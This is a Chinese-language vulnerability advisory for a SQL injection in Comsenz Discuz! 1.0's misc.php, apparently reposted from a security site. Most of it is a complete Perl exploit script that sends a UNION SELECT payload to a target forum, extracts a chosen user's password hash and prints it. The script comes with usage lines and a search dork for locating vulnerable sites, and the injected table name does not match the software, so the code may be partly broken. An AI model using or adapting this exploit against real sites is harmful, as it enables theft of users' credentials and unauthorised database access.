发布时间:2010-01-02
影响版本:Comsenz Discuz! 1.0
漏洞描述:Bugraq ID: 37556
Comsenz Discuz!是一款流行的论坛程序。Comsenz Discuz!存在输入验证错误，远程攻击者可以利用漏洞进行SQL注入攻击，获得密码HASH等敏感信息。问题是’misc.php’脚本对’name’参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。<*参考 http://www.securityfocus.com/bid/37562*>测试方法:[www.sebug.net]本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!#!/usr/bin/perluse IO::Socket;print q{####################################################### Discuz Remote SQL Injection Exploit ## By indoushka ## www.iq-ty.com ## Souk Naamane (00213771818860) ## Algeria Hackerz (indoushka@hotmail.com) ## Dork:Powered by Discuz! 1.0 © 2002,Crossday Studio # ######################################################};if (!$ARGV[2]) {print q{Usage: perl Discuz.pl host /directory/ victim_useridperl Discuz.pl www.Discuz.com /forum/ 1};}$server = $ARGV[0];$dir = $ARGV[1];$user = $ARGV[2];$myuser = $ARGV[3];$mypass = $ARGV[4];$myid = $ARGV[5];print "————————————————————————————————\r\n";print "[>] SERVER: $server\r\n";print "[>] DIR: $dir\r\n";print "[>] USERID: $user\r\n";print "————————————————————————————————\r\n\r\n";$server =~ s/(http:\/\/)//eg;$path = $dir;$path .= "misc.php?sub=profile&name=0′)+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= ‘".$user ;print "[~] PREPARE TO CONNECT…\r\n";$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";print "[+] CONNECTED\r\n";print "[~] SENDING QUERY…\r\n";print $socket "GET $path HTTP/1.1\r\n";print $socket "Host: $server\r\n";print $socket "Accept: */*\r\n";print $socket "Connection: close\r\n\r\n";print "[+] DONE!\r\n\r\n";print "–[ REPORT ]————————————————————————————\r\n";while ($answer = <$socket>){if ($answer =~/(\w{32})/){if ($1 ne 0) {print "Password Hash is: ".$1."\r\n";print "————————————————————————————–\r\n";}exit();}}print "————————————————————————————————\r\n";
标签分类： 安全漏洞
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